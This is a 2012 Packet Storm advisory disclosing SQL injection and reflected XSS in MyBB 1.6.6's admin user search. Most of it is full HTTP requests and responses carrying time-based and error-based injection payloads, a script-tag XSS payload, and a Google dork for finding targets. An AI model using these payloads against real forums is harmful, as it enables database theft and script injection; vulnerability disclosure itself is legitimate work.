MyBB 1.6.6 Cross Site Scripting / SQL Injection

2012-03-27T00:00:00
ID PACKETSTORM:111238
Type packetstorm
Reporter Aditya Modha
Modified 2012-03-27T00:00:00

Description

                                        
                                            `# Exploit Title: Multiple vulnerabilities in mybb 1.6.6  
# Google Dork: intext:"Powered By MyBB"  
# Date: 26th March 2012  
# Author: Aditya Modha  
# Software Link: http://www.mybb.com/downloads  
# Version: 1.6.6  
# Tested on: ubuntu  
# CVE : Just applied  
  
____ _ ____ _ ____ _ _ ____ ____   
/ _ Y \ / _ Y \__/| _ Y \ /| \ / _ Y _ \  
| / \| | | | \| |\/|| / \| |\ || | | / \| | //  
| \_/| |_/\ |_/| | || |-|| | \|| |_/\ |-|| |_\\  
\____|____|____|_/ \|_/ \|_/ \|____|_/ \|____/  
  
  
Mybb version 1.6.6 suffers from multiple vulnerabilities namely SQL Injection and Cross Site Scripting. Since both of these vulnerabilities can only be exploited after logging in with the admin privileges, the severity of these findings is not high.  
  
1. SQL Injection  
  
Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search  
  
Affected Parameter: conditions[usergroup][]  
  
POST request:  
  
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1  
Host: 192.168.7.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search  
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;   
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;   
sid=d725ac10b7d8f0f8765dfa73f5dcf23b  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 638  
  
my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya  
&conditions%5Busergroup%5D%5B%5D=2'&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=  
&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=  
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=  
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA  
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card  
  
Response:  
  
HTTP/1.1 503 Service Temporarily Unavailable  
Date: Mon, 26 Mar 2012 16:51:17 GMT  
Server: Apache/2.2.14 (Ubuntu)  
X-Powered-By: PHP/5.3.2-1ubuntu4.14  
Status: 503 Service Temporarily Unavailable  
Retry-After: 1800  
Vary: Accept-Encoding  
Content-Length: 2121  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
.........snip...........  
  
SQL Error:  
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right   
syntax to use near '') OR CONCAT(',',additionalgroups,',') LIKE '%,2',%')' at line 3  
  
Query:  
SELECT COUNT(u.uid) AS num_results  
FROM mybb_users u  
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2') OR   
CONCAT(',',additionalgroups,',') LIKE '%,2',%')  
  
Exploitation:  
  
Since our input goes into two different SELECT queries, the exploitation here is somewhat tricky. We cannot inject it using UNION query as both the SELECT query has difference number of columns.  
  
Exploitation is possible either with the time based blind SQL Injection or with the error based method.  
  
a) Exploitation using Time based blind SQL Injection:  
  
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1  
Host: 192.168.7.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search  
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;   
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;   
sid=d725ac10b7d8f0f8765dfa73f5dcf23b  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 638  
  
my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya  
&conditions%5Busergroup%5D%5B%5D=2))+AND+1=(SELECT+sleep(3))%23&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=  
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=  
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=  
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA  
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card  
  
The injected payload ))+AND+1=(SELECT+sleep(3))%23 will delay the response by 6 seconds rather than 3 seconds because our input goes to two different SELECT queries and each of this SELECT query will delay the execution by 3 seconds.  
  
  
b) Exploitation using error based mysql SQL Injection:  
  
Reuest:  
  
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1  
Host: 192.168.7.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search  
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;   
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;   
sid=d725ac10b7d8f0f8765dfa73f5dcf23b  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 638  
  
my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya  
&conditions%5Busergroup%5D%5B%5D=2))+or+1+group+by+concat(version(),floor(rand(0)*2))+having+min(0)+or+1--+-  
&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=  
&conditions%5Busertitle%5D=&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=  
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA  
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card  
  
  
Response:  
  
HTTP/1.1 503 Service Temporarily Unavailable  
Date: Mon, 26 Mar 2012 17:42:40 GMT  
Server: Apache/2.2.14 (Ubuntu)  
X-Powered-By: PHP/5.3.2-1ubuntu4.14  
Status: 503 Service Temporarily Unavailable  
Retry-After: 1800  
Vary: Accept-Encoding  
Content-Length: 2130  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
.........snip...........  
SQL Error:  
1062 - Duplicate entry '5.1.61-0ubuntu0.10.04.11' for key 'group_key'  
Query:  
SELECT COUNT(u.uid) AS num_results  
FROM mybb_users u  
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2))   
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -) OR CONCAT(',',additionalgroups,',') LIKE '%,2))   
or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1-- -,%')  
  
Error message shows mysql version. Similarly other data can be retrieved by this method.  
  
  
2. Reflected Cross Site Scripting  
  
Affected URL: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search  
  
Affected Parameter: conditions[usergroup][]  
  
POST request:  
  
POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1  
Host: 192.168.7.5  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search  
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1;   
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM;   
sid=d725ac10b7d8f0f8765dfa73f5dcf23b  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 638  
  
my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya  
&conditions%5Busergroup%5D%5B%5D=2<script>document.write(Date())</script>&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=  
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=  
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=  
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA  
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card  
  
Response :  
  
HTTP/1.1 503 Service Temporarily Unavailable  
Date: Mon, 26 Mar 2012 17:51:54 GMT  
Server: Apache/2.2.14 (Ubuntu)  
X-Powered-By: PHP/5.3.2-1ubuntu4.14  
Status: 503 Service Temporarily Unavailable  
Retry-After: 1800  
Vary: Accept-Encoding  
Content-Length: 2224  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
..........snip..................  
  
SQL Error:  
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))</script>) OR CONCAT(',',additionalgroups,',') LIKE '%,2<script>document.write' at line 3  
Query:  
SELECT COUNT(u.uid) AS num_results  
FROM mybb_users u  
WHERE 1=1 AND u.username LIKE '%aditya%' AND u.email LIKE '%aditya%' AND (u.usergroup IN (2<script>document.write(Date())</script>) OR CONCAT(',',additionalgroups,',') LIKE '%,2<script>document.write(Date())</script>,%')  
  
  
3) Vulnerable code  
  
The culprit code can be found under the /var/www/mybb/admin/modules/user/ with the name users.php.  
`